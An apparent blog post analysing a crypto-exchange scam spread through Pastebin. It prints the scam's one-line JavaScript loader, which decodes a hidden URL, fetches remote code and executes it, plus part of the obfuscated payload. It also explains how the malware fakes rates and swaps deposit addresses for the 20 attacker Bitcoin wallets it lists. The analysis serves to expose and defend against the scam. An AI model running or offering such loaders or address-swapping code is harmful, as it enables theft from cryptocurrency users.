Introduction#

The other day, I was on Pastebin and noticed some interesting public pastes, all posted within the last few seconds.

These pastes all contained text claiming that a new methodolgy for profiting off of crypto exchanges had been leaked, and included a link to a Google Docs file.

Within the linked document, it was explained that the exchange aggregator Swapzone.io was using an outdated backend node referred to as Node v1.9 to communicate with the crypto exchange ChangeNOW, and that because of this, it would be possible to make a profit of around 37% when converting between Bitcoin and any other cryptocurrency.

Of course, I wouldn’t want to leave money on the table, so I read further. Apparently, all you had to do to start raking in cash is copy-paste a script into the browser console to load the vulnerable node, and then carry out a swap through ChangeNOW.

Alright, alright… if it wasn’t clear yet, this is obviously a scam. But let’s see what would happen if I kept playing along…

Malware analysis#

The linked script contains one line of JavaScript code. At first glance, it might seem like it does indeed load something hosted on Swapzone. A closer look, however, reveals the truth - a base64-encoded string contained within the URL is extracted, decoded, fetched, and executed.

1(()=>{let node='https://swapzone.io/exchange/nodes/changenow/aHR0cHM6Ly8yeDMuYWMvcy5waHA/btc/node-1.9.js'.match(/changenow\/(.*?)\//)[1];fetch(atob(node)).then(r=>r.text()).then(c=>Function(c)())})();

Once decoded, a second URL is identified, pointing to a “PHP” file hosted on another domain.

1$ echo 'aHR0cHM6Ly8yeDMuYWMvcy5waHA' | base64 -d 
2https://2x3.ac/s.php

This is, of course, not actually a PHP file. What is it, is heavily obfuscated JavaScript malware.

1(function(wokhKtKqwfbxkhzoqVERXq_wUU,BllELcBOSGXaq){const IvHLujYaFxLnoQFwNvzmZYFl=ht_tf_BsvjwIXxNT,ShotyMSEaRfbStANiEiOq=wokhKtKqwfbxkhzoqVERXq_wUU();while(!![]){try{const xtOgMc$jXQD$ujwroVBcMcho=-parseFloat(IvHLujYaFxLnoQFwNvzmZYFl(0xe0))/(Math.max(-0x1,-parseInt(0x1))*Math.trunc(-0x1442)+parseInt(0x2464)+parseInt(-0x11)*0x355)+parseFloat(IvHLujYaFxLnoQFwNvzmZYFl(0x113))/(Math.floor(0x1ff1)+parseInt(0x1d)*0x119+-0x3fc4)+-parseFloat(IvHLujYaFxLnoQFwNvzmZYFl(0xf2))/(parseInt(0x1)*Math.ceil(-0x437)+-parseInt(0x1a48)
2...SNIP...
3Math.max(parseInt(0x2f6),parseInt(0x2f6))+0x13bd)+Number(-(parseInt(0x1ce3)+Math.max(0x192,parseInt(0x192))*parseFloat(0x14)+Number(parseInt(0x6))*Math.trunc(-parseInt(0x617)))));}()));

So, what does it do? JS Nice is, unfortunately, not much help this time, which means that a bit of manual reverse engineering will be required.

After “beautifying” the code and prepending everything with a debugger statement, I pasted the script into my browser’s console. One of the first things that happens, is the script begins decrypting a long array of hex-strings.

To do this, the function ht_tf_BsvjwIXxNT converts the hex string into bytes, XORs said bytes with the value 166, and finally uses TextDecoder.decode to return the real string - img[alt="ChangeNOW logo"] in the screenshot below.

We can use a tool like CyberChef to verify that this is the case, and then write a short script to decrypt the rest.

Among the full list of decrypted strings are various messages:

  • [SUCCESS] Loading core module from: https://swapzone.io/exchange/nodes/changenow/btc/node-1.9.js
  • [SUCCESS] Checksum validation passed. Finalizing handshake...
  • [INFO] Terms of Use: https://swapzone.io/docs/terms
  • [INFO] This script is part of a developer testing suite.

Bitcoin addresses:

  • bc1qf4jz2c0mmhh35dj2w4dnrklhlthecrf66c3wsn
  • bc1qhycfagx2pss5s4k7ex6v2l8wapwtlhfa2kxm0k
  • bc1q8cawj52xeawz9fwkv9ccudk67yt6q9jg924289
  • bc1qyph4l9xk66ea6n9khn6ggv9zwqupp0myx9yr7t

JavaScript functions:

  • addEventListener
  • random
  • innerHTML
  • createElement

and HTML expressions:

  • BEST RATE<span class="styles_savings___dytb">Save up to 37.10%</span>
  • <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg" style="color: rgb(37, 183, 235); cursor: pointer;"><path d="M5.27059...SNIP..." fill="currentColor"></path></svg>

Once the strings are decrypted, the script checks if the value of window.location.hostname includes swapzone.io - likely as a kind of anti-debugging measure.

If it determines it is being executed on the correct website, it prints some of the decrypted strings to the console and replaces some values in the UI to make it seem like ChangeNOW is offering $7,823 worth of Monero for $5,753 worth of Bitcoin.

If you go so far as to actually initiate an exchange via ChangeNOW, the malware sneakily replaces the real deposit address (highlighted within the server HTTP response in green) with their own (highlighted on the page in red).

Blockchain analysis#

So, the obvious question is: how many people actually fall for this? Well, in total, there are 20 Bitcoin addresses hidden within the script:

  • bc1q2y24gwqj4vk723mhfz9zhwvgfug8w70zw524cg
  • bc1qf4jz2c0mmhh35dj2w4dnrklhlthecrf66c3wsn
  • bc1qhycfagx2pss5s4k7ex6v2l8wapwtlhfa2kxm0k
  • bc1q8cawj52xeawz9fwkv9ccudk67yt6q9jg924289
  • bc1qyph4l9xk66ea6n9khn6ggv9zwqupp0myx9yr7t
  • bc1qk7ww3txp3rvtl8wtmh2qm7ltz9y8xc6w56fhxp
  • bc1qrgnfmgch9alm074jvpa2twrulyw3lwj2ecd65r
  • bc1qjww0a02jp6e6kemqa6vn6pe3uh9me7crr8eu7j
  • bc1q5kwefwv6yy7kfrdctq2p70kv9gcpz2qw634mrn
  • bc1qr6y0y7r4nr6f3x2f09pn0n86qqz6jsa5x5c938
  • bc1qw6wfjaxcwdgv9y0u5k2ph65gjvv7l3lef09242
  • bc1qe06hrgs3gzs2yr8aw5gt9xkg56yy7qqnvle820
  • bc1qg52zkrxmd79x6x2q787h3nlmya3p42h50lhyax
  • bc1qhmkvzzvjclpxfur2vlfpc4zjgnygat4j98uh4f
  • bc1qy0v9mzpjs8uzu9430s9rshcg244yym5uj0xeqy
  • bc1qamrl45xceyjev446mv7hc8ln2jgt45ezx08h2j
  • bc1qdya5wtl2e2j9smzs5msnz0ve7npg08csdlz4va
  • bc1qv4rnppy7ajwnzcqpeu8zc8vmmmsdnlgfh4x9eh
  • bc1qpc87358kaq25tnxm3qf98scz4zxkzxgs756z3f
  • bc1qv5nkz7z4mmg24y7mwclweg9702lx5sj59tkjuh

Using a blockchain explorer like Blockchain.com, we can go ahead a look into each wallet to see any transactions that took place. In this case, there is only one wallet which has seen any activity - bc1q…yr7t - which saw 0.00101381 BTC move through it four days prior.

Since the Bitcoin that flowed in to the account appears to have come from some sort of “crypto laundering” service, I think it is safe to say that nobody fell for the scam. What is interesting, however, is that if you follow the money, it eventually does end up in ChangeNOW.

Perhaps the exploit does exist, after all…